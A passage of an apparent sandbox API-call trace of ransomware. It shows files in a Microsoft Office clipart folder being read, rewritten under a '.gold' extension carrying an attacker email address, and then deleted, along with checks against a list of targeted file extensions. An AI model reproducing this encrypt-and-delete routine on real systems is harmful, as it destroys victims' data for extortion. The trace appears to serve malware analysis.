dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.956] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0056.956] GetLastError () returned 0x0 [0056.956] ReadFile (in: hFile=0x168, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x1c08, lpOverlapped=0x0) returned 1 [0056.958] WriteFile (in: hFile=0x18c, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x1c10, lpOverlapped=0x0) returned 1 [0056.958] ReadFile (in: hFile=0x168, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.958] WriteFile (in: hFile=0x18c, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.958] SetEndOfFile (hFile=0x18c) returned 1 [0056.958] CloseHandle (hObject=0x18c) returned 1 [0056.959] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.959] SetEndOfFile (hFile=0x168) returned 1 [0056.959] CloseHandle (hObject=0x168) returned 1 [0056.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0056.959] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf")) returned 1 [0056.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0056.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0056.960] lstrlenW (lpString=".doc") returned 4 [0056.960] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.960] lstrlenW (lpString=".docx") returned 5 [0056.960] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.960] lstrlenW (lpString=".pdf") returned 4 [0056.960] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.960] lstrlenW (lpString=".xls") returned 4 [0056.960] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.960] lstrlenW (lpString=".xlsx") returned 5 [0056.960] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.960] lstrlenW (lpString=".ppt") returned 4 [0056.960] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0056.960] lstrlenW (lpString=".zip") returned 4 [0056.960] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.960] lstrlenW (lpString=".rar") returned 4 [0056.960] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.960] lstrlenW (lpString=".bz2") returned 4 [0056.960] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.960] lstrlenW (lpString=".7z") returned 3 [0056.960] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0056.960] lstrlenW (lpString=".dbf") returned 4 [0056.960] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0056.960] lstrlenW (lpString=".1cd") returned 4 [0056.960] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0056.960] lstrlenW (lpString=".jpg") returned 4 [0056.960] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0056.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0056.960] lstrlenW (lpString=".doc") returned 4 [0056.960] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.960] lstrlenW (lpString=".docx") returned 5 [0056.960] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.960] lstrlenW (lpString=".pdf") returned 4 [0056.960] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.960] lstrlenW (lpString=".xls") returned 4 [0056.960] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.960] lstrlenW (lpString=".xlsx") returned 5 [0056.960] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.960] lstrlenW (lpString=".ppt") returned 4 [0056.960] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0056.960] lstrlenW (lpString=".zip") returned 4 [0056.960] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.960] lstrlenW (lpString=".rar") returned 4 [0056.960] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.960] lstrlenW (lpString=".bz2") returned 4 [0056.961] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.961] lstrlenW (lpString=".7z") returned 3 [0056.961] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0056.961] lstrlenW (lpString=".dbf") returned 4 [0056.961] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0056.961] lstrlenW (lpString=".1cd") returned 4 [0056.961] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0056.961] lstrlenW (lpString=".jpg") returned 4 [0056.961] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.961] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0056.961] lstrlenW (lpString="CLIP.WMF") returned 8 [0056.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0056.962] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=2262) returned 1 [0056.962] CloseHandle (hObject=0x168) returned 1 [0056.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf")) returned 0x20 [0056.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0056.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0056.962] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.962] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0056.962] GetLastError () returned 0x0 [0056.962] ReadFile (in: hFile=0x168, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x8d6, lpOverlapped=0x0) returned 1 [0056.965] WriteFile (in: hFile=0x18c, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x8e0, lpOverlapped=0x0) returned 1 [0056.966] ReadFile (in: hFile=0x168, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.966] WriteFile (in: hFile=0x18c, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0056.966] SetEndOfFile (hFile=0x18c) returned 1 [0056.966] CloseHandle (hObject=0x18c) returned 1 [0056.966] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.966] SetEndOfFile (hFile=0x168) returned 1 [0056.967] CloseHandle (hObject=0x168) returned 1 [0056.967] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0056.967] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf")) returned 1 [0056.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0056.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0056.967] lstrlenW (lpString=".doc") returned 4 [0056.967] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.967] lstrlenW (lpString=".docx") returned 5 [0056.967] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0056.967] lstrlenW (lpString=".pdf") returned 4 [0056.967] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.967] lstrlenW (lpString=".xls") returned 4 [0056.967] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.967] lstrlenW (lpString=".xlsx") returned 5 [0056.967] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0056.967] lstrlenW (lpString=".ppt") returned 4 [0056.967] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0056.967] lstrlenW (lpString=".zip") returned 4 [0056.967] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.967] lstrlenW (lpString=".rar") returned 4 [0056.967] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.967] lstrlenW (lpString=".bz2") returned 4 [0056.967] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.967] lstrlenW (lpString=".7z") returned 3 [0056.967] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0056.967] lstrlenW (lpString=".dbf") returned 4 [0056.967] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0056.968] lstrlenW (lpString=".1cd") returned 4 [0056.968] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0056.968] lstrlenW (lpString=".jpg") returned 4 [0056.968] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0056.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0056.968] lstrlenW (lpString=".doc") returned 4 [0056.968] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.968] lstrlenW (lpString=".docx") returned 5 [0056.968] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0056.968] lstrlenW (lpString=".pdf") returned 4 [0056.968] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.968] lstrlenW (lpString=".xls") returned 4 [0056.968] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.968] lstrlenW (lpString=".xlsx") returned 5 [0056.968] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0056.968] lstrlenW (lpString=".ppt") returned 4 [0056.968] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0056.968] lstrlenW (lpString=".zip") returned 4 [0056.968] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.968] lstrlenW (lpString=".rar") returned 4 [0056.968] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.968] lstrlenW (lpString=".bz2") returned 4 [0056.968] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.968] lstrlenW (lpString=".7z") returned 3 [0056.968] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0056.968] lstrlenW (lpString=".dbf") returned 4 [0056.968] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0056.968] lstrlenW (lpString=".1cd") returned 4 [0056.968] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0056.968] lstrlenW (lpString=".jpg") returned 4 [0056.968] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.968] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0056.968] lstrlenW (lpString="CRANE.WMF") returned 9 [0056.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0056.969] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=5270) returned 1 [0056.969] CloseHandle (hObject=0x168) returned 1 [0056.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf")) returned 0x20 [0056.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0056.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0056.969] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.969] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0056.970] GetLastError () returned 0x0 [0056.970] ReadFile (in: hFile=0x168, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x1496, lpOverlapped=0x0) returned 1 [0056.971] WriteFile (in: hFile=0x18c, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x14a0, lpOverlapped=0x0) returned 1 [0056.971] ReadFile (in: hFile=0x168, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.971] WriteFile (in: hFile=0x18c, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0056.972] SetEndOfFile (hFile=0x18c) returned 1 [0056.972] CloseHandle (hObject=0x18c) returned 1 [0056.972] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.972] SetEndOfFile (hFile=0x168) returned 1 [0056.972] CloseHandle (hObject=0x168) returned 1 [0056.972] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0056.974] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf")) returned 1 [0056.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0056.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0056.974] lstrlenW (lpString=".doc") returned 4 [0056.974] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.974] lstrlenW (lpString=".docx") returned 5 [0056.974] lstrcmpiW (lpString1=".docx", lpString2="E.WMF") returned -1 [0056.974] lstrlenW (lpString=".pdf") returned 4 [0056.974] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.974] lstrlenW (lpString=".xls") returned 4 [0056.974] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.974] lstrlenW (lpString=".xlsx") returned 5 [0056.974] lstrcmpiW (lpString1=".xlsx", lpString2="E.WMF") returned -1 [0056.974] lstrlenW (lpString=".ppt") returned 4 [0056.974] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0056.974] lstrlenW (lpString=".zip") returned 4 [0056.974] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.975] lstrlenW (lpString=".rar") returned 4 [0056.975] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.975] lstrlenW (lpString=".bz2") returned 4 [0056.975] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.975] lstrlenW (lpString=".7z") returned 3 [0056.975] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0056.975] lstrlenW (lpString=".dbf") returned 4 [0056.975] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0056.975] lstrlenW (lpString=".1cd") returned 4 [0056.975] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0056.975] lstrlenW (lpString=".jpg") returned 4 [0056.975] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0056.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0056.975] lstrlenW (lpString=".doc") returned 4 [0056.975] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.975] lstrlenW (lpString=".docx") returned 5 [0056.975] lstrcmpiW (lpString1=".docx", lpString2="E.WMF") returned -1 [0056.975] lstrlenW (lpString=".pdf") returned 4 [0056.975] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.975] lstrlenW (lpString=".xls") returned 4 [0056.975] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.975] lstrlenW (lpString=".xlsx") returned 5 [0056.975] lstrcmpiW (lpString1=".xlsx", lpString2="E.WMF") returned -1 [0056.975] lstrlenW (lpString=".ppt") returned 4 [0056.975] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0056.975] lstrlenW (lpString=".zip") returned 4 [0056.975] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.975] lstrlenW (lpString=".rar") returned 4 [0056.975] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.975] lstrlenW (lpString=".bz2") returned 4 [0056.975] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.975] lstrlenW (lpString=".7z") returned 3 [0056.975] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0056.975] lstrlenW (lpString=".dbf") returned 4 [0056.975] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0056.975] lstrlenW (lpString=".1cd") returned 4 [0056.975] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0056.975] lstrlenW (lpString=".jpg") returned 4 [0056.975] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.975] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0056.976] lstrlenW (lpString="CRANINST.WMF") returned 12 [0056.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0056.976] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=49546) returned 1 [0056.976] CloseHandle (hObject=0x168) returned 1 [0056.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf")) returned 0x20 [0056.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0056.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0056.977] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.977] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0056.977] GetLastError () returned 0x0 [0056.977] ReadFile (in: hFile=0x168, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0xc18a, 